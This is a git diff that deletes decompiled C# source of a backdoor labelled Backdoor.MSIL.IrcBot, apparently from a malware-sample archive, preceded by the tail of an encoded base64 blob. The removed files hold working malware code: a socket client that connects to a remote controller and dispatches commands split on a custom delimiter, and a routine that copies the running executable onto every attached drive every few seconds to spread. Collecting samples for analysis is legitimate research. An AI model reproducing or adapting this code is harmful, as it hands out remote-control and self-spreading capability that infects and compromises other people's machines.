- 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
- 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
- O6esAIIAAAA=
-
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/SocketsClient.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/SocketsClient.cs
deleted file mode 100644
index 46e23c0c..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/SocketsClient.cs
+++ /dev/null
@@ -1,261 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.SocketsClient
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe
-
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.CompilerServices;
-using n.My;
-using System;
-using System.IO;
-using System.Net;
-using System.Net.Sockets;
-using System.Text;
-using System.Threading;
-using System.Windows.Forms;
-
-namespace n
-{
- public class SocketsClient
- {
- private static string response = string.Empty;
- private static int port;
- private static IPHostEntry ipHostInfo;
- private static IPAddress ipAddress;
- private static Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
- private byte[] Spl;
- private static int ct;
-
- public SocketsClient() => this.Spl = this.STB("nj-q8");
-
- public void AT(byte[] D)
- {
- MyProject.MyForms forms = MyProject.Forms;
- Form b = (Form) forms.B;
- n.Delegates.T.T.appendText(ref b, ref D);
- forms.B = (B) b;
- }
-
- public event SocketsClient.onConnectEventHandler onConnect;
-
- public event SocketsClient.onErrorEventHandler onError;
-
- public event SocketsClient.onDataArrivalEventHandler onDataArrival;
-
- public event SocketsClient.onDisconnectEventHandler onDisconnect;
-
- public event SocketsClient.onSendCompleteEventHandler onSendComplete;
-
- public void Connect(string RemoteHostName, int RemotePort)
- {
- try
- {
- SocketsClient.client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
- SocketsClient.port = RemotePort;
- SocketsClient.ipHostInfo = Dns.Resolve(RemoteHostName);
- SocketsClient.ipAddress = SocketsClient.ipHostInfo.AddressList[0];
- IPEndPoint remoteEP = new IPEndPoint(SocketsClient.ipAddress, SocketsClient.port);
- SocketsClient.client.BeginConnect((EndPoint) remoteEP, new AsyncCallback(this.sockConnected), (object) SocketsClient.client);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- SocketsClient.onDisconnectEventHandler onDisconnectEvent = this.onDisconnectEvent;
- if (onDisconnectEvent != null)
- onDisconnectEvent();
- ProjectData.ClearProjectError();
- }
- }
-
- public void SendData(byte[] Data)
- {
- try
- {
- MemoryStream memoryStream = new MemoryStream();
- memoryStream.Write(Data, 0, Data.Length);
- memoryStream.Write(this.Spl, 0, this.Spl.Length);
- memoryStream.ToArray();
- SocketsClient.client.Send(memoryStream.ToArray(), memoryStream.ToArray().Length, SocketFlags.None);
- memoryStream.Dispose();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- public void Disconnect()
- {
- try
- {
- SocketsClient.client.Shutdown(SocketShutdown.Both);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- SocketsClient.client.Close();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- public byte[] STB(string Data) => Encoding.Default.GetBytes(Data);
-
- public string BTS(byte[] Data) => Encoding.Default.GetString(Data);
-
- private void sockConnected(IAsyncResult ar)
- {
- try
- {
- if (!SocketsClient.client.Connected)
- {
- SocketsClient.onDisconnectEventHandler onDisconnectEvent = this.onDisconnectEvent;
- if (onDisconnectEvent == null)
- return;
- onDisconnectEvent();
- }
- else
- {
- SocketsClient.client.ReceiveBufferSize = 99999;
- SocketsClient.client.ReceiveTimeout = -1;
- SocketsClient.client.SendTimeout = -1;
- SocketsClient.client.ReceiveTimeout = 9000;
- ++SocketsClient.ct;
- new Thread(new ThreadStart(this.DDD)).Start();
- SocketsClient.onConnectEventHandler onConnectEvent = this.onConnectEvent;
- if (onConnectEvent == null)
- return;
- onConnectEvent();
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- SocketsClient.onDisconnectEventHandler onDisconnectEvent = this.onDisconnectEvent;
- if (onDisconnectEvent != null)
- onDisconnectEvent();
- ProjectData.ClearProjectError();
- }
- }
-
- public void DDD()
- {
- int ct = SocketsClient.ct;
- MemoryStream memoryStream = new MemoryStream();
- while (true)
- {
- int num;
- ++num;
- Thread.Sleep(5);
- if (ct >= SocketsClient.ct)
- {
- try
- {
- if (num > 200)
- {
- try
- {
- if (SocketsClient.client.Poll(-1, SelectMode.SelectRead) & SocketsClient.client.Available <= 0)
- {
- MyProject.Forms.B.Dis();
- break;
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- MyProject.Forms.B.Dis();
- ProjectData.ClearProjectError();
- break;
- }
- num = 0;
- }
- if (SocketsClient.client.Available > 0)
- {
- byte[] numArray = new byte[SocketsClient.client.Available - 1 + 1];
- SocketsClient.client.Receive(numArray, numArray.Length, SocketFlags.None);
- if (Strings.InStr(this.BTS(numArray), "nj-q8") > 0)
- {
- memoryStream.Write(numArray, 0, numArray.Length);
- new Thread((ParameterizedThreadStart) (a0 => this.EFE((byte[]) a0))).Start((object) memoryStream.ToArray());
- memoryStream = new MemoryStream();
- }
- else
- memoryStream.Write(numArray, 0, numArray.Length);
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- else
- break;
- }
- }
-
- public void EFE(byte[] B)
- {
- SocketsClient.onDataArrivalEventHandler dataArrivalEvent = this.onDataArrivalEvent;
- if (dataArrivalEvent == null)
- return;
- dataArrivalEvent(B, B.Length - 1);
- }
-
- private void sockSendEnd(IAsyncResult ar)
- {
- try
- {
- int DataSize = ((Socket) ar.AsyncState).EndSend(ar);
- SocketsClient.onSendCompleteEventHandler sendCompleteEvent = this.onSendCompleteEvent;
- if (sendCompleteEvent == null)
- return;
- sendCompleteEvent(DataSize);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- SocketsClient.onErrorEventHandler onErrorEvent = this.onErrorEvent;
- if (onErrorEvent != null)
- onErrorEvent(Information.Err().Description);
- ProjectData.ClearProjectError();
- }
- }
-
- public bool Connected()
- {
- bool flag;
- try
- {
- flag = SocketsClient.client.Connected;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- flag = false;
- ProjectData.ClearProjectError();
- }
- return flag;
- }
-
- public delegate void onConnectEventHandler();
-
- public delegate void onErrorEventHandler(string Description);
-
- public delegate void onDataArrivalEventHandler(byte[] Data, int TotalBytes);
-
- public delegate void onDisconnectEventHandler();
-
- public delegate void onSendCompleteEventHandler(int DataSize);
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/StateObject.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/StateObject.cs
deleted file mode 100644
index 30f589fa..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/StateObject.cs
+++ /dev/null
@@ -1,27 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.StateObject
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe
-
-using System.Net.Sockets;
-using System.Text;
-
-namespace n
-{
- public class StateObject
- {
- public Socket workSocket;
- public int BufferSize;
- public byte[] buffer;
- public StringBuilder sb;
-
- public StateObject()
- {
- this.workSocket = (Socket) null;
- this.BufferSize = 1999998;
- this.buffer = new byte[1999999];
- this.sb = new StringBuilder();
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/USB.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/USB.cs
deleted file mode 100644
index a3f71233..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/USB.cs
+++ /dev/null
@@ -1,59 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.USB
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe
-
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.CompilerServices;
-using System;
-using System.IO;
-using System.Threading;
-using System.Windows.Forms;
-
-namespace n
-{
- [StandardModule]
- public sealed class USB
- {
- public static void USb(string S)
- {
- while (true)
- {
- Thread.Sleep(5000);
- try
- {
- foreach (DriveInfo drive in DriveInfo.GetDrives())
- {
- if (drive.IsReady)
- {
- if (drive.TotalFreeSpace > 0L)
- {
- try
- {
- if (!File.Exists(drive.Name + S))
- {
- File.Copy(Application.ExecutablePath, drive.Name + S, true);
- File.SetAttributes(drive.Name + S, FileAttributes.Normal);
- }
- else if (FileSystem.FileLen(drive.Name + S) != FileSystem.FileLen(Application.ExecutablePath))
- File.Delete(drive.Name + S);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/chat.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/chat.cs
deleted file mode 100644
index ffbc9fb5..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/chat.cs
+++ /dev/null
@@ -1,317 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.chat
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe
-
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.CompilerServices;
-using n.My;
-using System;
-using System.ComponentModel;
-using System.Diagnostics;
-using System.Drawing;
-using System.Runtime.CompilerServices;
-using System.Windows.Forms;
-
-namespace n
-{
- [DesignerGenerated]
- public class chat : Form
- {
- private IContainer components;
- [AccessedThroughProperty("T2")]
- private TextBox _T2;
- [AccessedThroughProperty("B1")]
- private Button _B1;
- [AccessedThroughProperty("Timer1")]
- private Timer _Timer1;
- [AccessedThroughProperty("T1")]
- private RichTextBox _T1;
- public static bool clos;
- public string nick;
-
- public chat()
- {
